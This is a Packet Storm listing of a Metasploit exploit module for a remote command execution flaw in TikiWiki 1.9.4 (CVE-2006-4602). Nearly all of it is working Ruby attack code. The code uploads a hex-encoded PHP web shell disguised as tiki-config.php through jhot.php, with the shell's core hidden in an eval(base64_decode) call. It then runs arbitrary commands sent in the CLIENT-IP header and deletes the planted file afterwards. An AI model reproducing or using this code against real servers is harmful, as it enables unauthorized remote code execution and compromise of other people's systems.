TikiWiki jhot Remote Command Execution

2009-10-30T00:00:00
ID PACKETSTORM:82371
Type packetstorm
Reporter Matteo Cantoni
Modified 2009-10-30T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'TikiWiki jhot Remote Command Execution',  
'Description' => %q{  
TikiWiki contains a flaw that may allow a malicious user to execute  
arbitrary PHP code. The issue is triggered due to the jhot.php script  
not correctly verifying uploaded files. It is possible that the flaw  
may allow arbitrary PHP code execution by uploading a malicious PHP  
script resulting in a loss of integrity.  
The vulnerability has been reported in Tikiwiki version 1.9.4.  
},  
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
['CVE', '2006-4602'],  
['OSVDB', '28456'],  
['BID', '19819'],  
['URL', 'http://secunia.com/advisories/21733/'],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 1024,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl ruby bash telnet',  
}  
},   
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Sep 2 2006',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki/"]),  
], self.class)  
end  
  
def check  
res = send_request_raw({  
'uri' => datastore['URI'] + "/tiki-index.php",  
'method' => 'GET',  
'headers' =>  
{  
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',  
'Connection' => 'Close',  
}  
}, 25)  
  
if (res and res.message == "OK" and res.body.match(/TikiWiki 1.9.4/))  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
create_temp_file()  
  
command = payload.encoded  
  
exe_command(command)  
  
remove_temp_file()  
end  
  
def create_temp_file  
url_jhot = datastore['URI'] + "/jhot.php"  
  
scode =  
"\x0d\x0a\x3c\x3f\x70\x68\x70\x0d\x0a\x2f\x2f\x20\x24\x48\x65\x61" +  
"\x64\x65\x72\x3a\x20\x2f\x63\x76\x73\x72\x6f\x6f\x74\x2f\x74\x69" +  
"\x6b\x69\x77\x69\x6b\x69\x2f\x74\x69\x6b\x69\x2f\x74\x69\x6b\x69" +  
"\x2d\x63\x6f\x6e\x66\x69\x67\x2e\x70\x68\x70\x2c\x76\x20\x31\x2e" +  
"\x38\x2e\x32\x2e\x35\x20\x32\x30\x30\x35\x2f\x30\x38\x2f\x32\x32" +  
"\x20\x30\x38\x3a\x30\x30\x3a\x35\x33\x20\x74\x65\x6c\x65\x6e\x69" +  
"\x65\x6b\x6f\x20\x45\x78\x70\x20\x24\x0d\x0a\x0d\x0a\x2f\x2f\x20" +  
"\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x28\x63\x29\x20\x32\x30" +  
"\x30\x32\x2d\x32\x30\x30\x35\x2c\x20\x4c\x75\x69\x73\x20\x41\x72" +  
"\x67\x65\x72\x69\x63\x68\x2c\x20\x47\x61\x72\x6c\x61\x6e\x64\x20" +  
"\x46\x6f\x73\x74\x65\x72\x2c\x20\x45\x64\x75\x61\x72\x64\x6f\x20" +  
"\x50\x6f\x6c\x69\x64\x6f\x72\x2c\x20\x65\x74\x2e\x20\x61\x6c\x2e" +  
"\x0d\x0a\x2f\x2f\x20\x41\x6c\x6c\x20\x52\x69\x67\x68\x74\x73\x20" +  
"\x52\x65\x73\x65\x72\x76\x65\x64\x2e\x20\x53\x65\x65\x20\x63\x6f" +  
"\x70\x79\x72\x69\x67\x68\x74\x2e\x74\x78\x74\x20\x66\x6f\x72\x20" +  
"\x64\x65\x74\x61\x69\x6c\x73\x20\x61\x6e\x64\x20\x61\x20\x63\x6f" +  
"\x6d\x70\x6c\x65\x74\x65\x20\x6c\x69\x73\x74\x20\x6f\x66\x20\x61" +  
"\x75\x74\x68\x6f\x72\x73\x2e\x0d\x0a\x2f\x2f\x20\x4c\x69\x63\x65" +  
"\x6e\x73\x65\x64\x20\x75\x6e\x64\x65\x72\x20\x74\x68\x65\x20\x47" +  
"\x4e\x55\x20\x4c\x45\x53\x53\x45\x52\x20\x47\x45\x4e\x45\x52\x41" +  
"\x4c\x20\x50\x55\x42\x4c\x49\x43\x20\x4c\x49\x43\x45\x4e\x53\x45" +  
"\x2e\x20\x53\x65\x65\x20\x6c\x69\x63\x65\x6e\x73\x65\x2e\x74\x78" +  
"\x74\x20\x66\x6f\x72\x20\x64\x65\x74\x61\x69\x6c\x73\x2e\x0d\x0a" +  
"\x0d\x0a\x23\x20\x24\x48\x65\x61\x64\x65\x72\x3a\x20\x2f\x63\x76" +  
"\x73\x72\x6f\x6f\x74\x2f\x74\x69\x6b\x69\x77\x69\x6b\x69\x2f\x74" +  
"\x69\x6b\x69\x2f\x62\x61\x6e\x6e\x65\x72\x5f\x69\x6d\x61\x67\x65" +  
"\x2e\x70\x68\x70\x2c\x76\x20\x31\x2e\x38\x2e\x32\x2e\x35\x20\x32" +  
"\x30\x30\x35\x2f\x30\x38\x2f\x32\x32\x20\x30\x38\x3a\x30\x30\x3a" +  
"\x35\x33\x20\x74\x65\x6c\x65\x6e\x69\x65\x6b\x6f\x20\x45\x78\x70" +  
"\x20\x24\x0d\x0a\x0d\x0a\x2f\x2f\x20\x74\x69\x6b\x69\x77\x69\x6b" +  
"\x69\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x20" +  
"\x73\x63\x72\x69\x70\x74\x0d\x0a\x0d\x0a\x65\x76\x61\x6c\x28\x62" +  
"\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x22\x5a\x58" +  
"\x4a\x79\x62\x33\x4a\x66\x63\x6d\x56\x77\x62\x33\x4a\x30\x61\x57" +  
"\x35\x6e\x4b\x44\x41\x70\x4f\x33\x4e\x6c\x64\x46\x39\x30\x61\x57" +  
"\x31\x6c\x58\x32\x78\x70\x62\x57\x6c\x30\x4b\x44\x41\x70\x4f\x32" +  
"\x56\x6a\x61\x47\x38\x67\x49\x6d\x31\x35\x58\x32\x52\x6c\x62\x47" +  
"\x6c\x74\x49\x6a\x74\x77\x59\x58\x4e\x7a\x64\x47\x68\x79\x64\x53" +  
"\x67\x6b\x58\x31\x4e\x46\x55\x6c\x5a\x46\x55\x6c\x73\x69\x53\x46" +  
"\x52\x55\x55\x46\x39\x44\x54\x45\x6c\x46\x54\x6c\x52\x66\x53\x56" +  
"\x41\x69\x58\x53\x6b\x37\x22\x29\x29\x3b\x0d\x0a\x3f\x3e\x0d\x0a"  
  
data =   
"-----------------------------7d529a1d23092a\r\n" +  
"Content-Disposition: form-data; name=\"filepath\"; filename=\"tiki-config.php\";\r\n\r\n" +  
scode +  
"\r\n" +  
"-----------------------------7d529a1d23092a--\r\n"  
  
res = send_request_cgi({  
'uri' => url_jhot,  
'method' => 'POST',  
'data' => "#{data}",  
'headers' =>  
{  
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',  
'Content-Type' => 'multipart/form-data; boundary=---------------------------7d529a1d23092a',  
'Connection' => 'Close',  
}  
}, 25)  
  
if (res and res.message == "OK")  
print_status("Successfully created temporary file.")  
else  
print_status("Error creating temporary file.")  
end  
end  
  
def exe_command(cmd)  
url_config = datastore['URI'] + "/img/wiki/tiki-config.php"  
  
res = send_request_raw({  
'uri' => url_config,  
'method' => 'GET',  
'headers' =>  
{  
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',  
'CLIENT-IP' => "#{cmd};",  
'Connection' => 'Close',  
}  
}, 25)  
  
if (res and res.message == "OK" and res.body.match(/my_delim/m))  
print_status("The server returned : #{res.code} #{res.message} (#{res.headers['Server']})")  
  
cmd_output = res.body.match(/my_delim(.*)/m)  
  
if (cmd_output)  
print_status("Command output from the server :")  
print("\n" + cmd_output[1] + "\n")  
else  
print_status("This server may not be vulnerable")  
end  
else  
print_status("No response from the server")  
end  
end  
  
def remove_temp_file  
url_config = datastore['URI'] + "/img/wiki/tiki-config.php"  
  
res = send_request_raw({  
'uri' => url_config,  
'method' => 'GET',  
'headers' =>  
{  
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',  
'CLIENT-IP' => 'rm -f tiki-config.php',  
'Connection' => 'Close',  
}  
}, 25)  
  
if (res and res.message == "OK")  
print_status("Successfully remove temporary file.")  
else  
print_status("Error removing temporary file.")  
end  
end  
end  
  
  
`